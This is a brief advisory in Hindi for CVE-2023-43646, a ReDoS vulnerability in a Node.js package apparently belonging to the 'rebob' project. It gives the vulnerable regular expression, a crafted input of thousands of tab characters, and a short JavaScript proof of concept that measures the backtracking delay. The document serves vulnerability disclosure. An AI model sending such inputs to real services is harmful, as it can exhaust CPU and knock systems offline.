
redos
CVE-2023-43646
CVSS: 8.6
26 सितंबर, 2023
node.js पैकेज में ReDoS
rebob प्रोजेक्ट का हिस्सा
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
यह भेद्यता तब शोषित की जा सकती है जब कोष्ठकों में असंतुलन होता है, जिसके परिणामस्वरूप अत्यधिक बैकट्रैकिंग होती है और इसके बाद CPU लोड और प्रसंस्करण समय में महत्वपूर्ण वृद्धि होती है। इस भेद्यता को निम्नलिखित इनपुट का उपयोग करके ट्रिगर किया जा सकता है:
'\t'.repeat(54773) + '\t/function/i'
यहाँ समस्या को प्रदर्शित करने के लिए एक सरल PoC कोड है:
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");